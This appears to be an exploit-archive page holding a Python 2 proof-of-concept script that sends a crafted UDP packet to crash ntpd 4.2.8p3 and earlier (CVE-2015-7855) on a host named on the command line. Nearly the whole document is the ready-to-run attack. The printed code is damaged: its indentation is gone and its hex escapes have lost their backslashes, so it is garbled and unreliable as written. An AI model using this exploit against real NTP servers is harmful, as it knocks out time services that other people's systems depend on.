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NTP 4.2.8p3 Denial Of Service

Posted on 29 November 2016

#!/usr/bin/env python

# Exploit Title: ntpd 4.2.8p3 remote DoS
# Date: 2015-10-21
# Bug Discovery: John D "Doug" Birdwell
# Exploit Author: Magnus Klaaborg Stubman (@magnusstubman)
# Website: http://support.ntp.org/bin/view/Main/NtpBug2922
# Vendor Homepage: http://www.ntp.org/
# Software Link: https://www.eecis.udel.edu/~ntp/ntp_spool/ntp4/ntp-4.2/ntp-4.2.8p3.tar.gz
# Version: All ntp-4 releases up to, but not including 4.2.8p4, and 4.3.0 up to, but not including 4.3.77
# CVE: CVE-2015-7855

import sys
import socket

if len(sys.argv) != 3:
print "usage: " + sys.argv[0] + " <host> <port>"
sys.exit(-1)

payload = "x16x0ax00x02x00x00x00x00x00x00x00xa0x6ex6fx6ex63x65x3dx64x61x33x64x35x64x30x66x66x38x30x38x31x65x63x38x33x35x32x61x32x32x38x36x2cx20x66x72x61x67x73x3dx33x32x2cx20x6cx61x64x64x72x3dx39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39x39"

print "[-] Sending payload to " + sys.argv[1] + ":" + sys.argv[2] + " ..."
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(payload, (sys.argv[1], int(sys.argv[2])))
print "[+] Done!"

 

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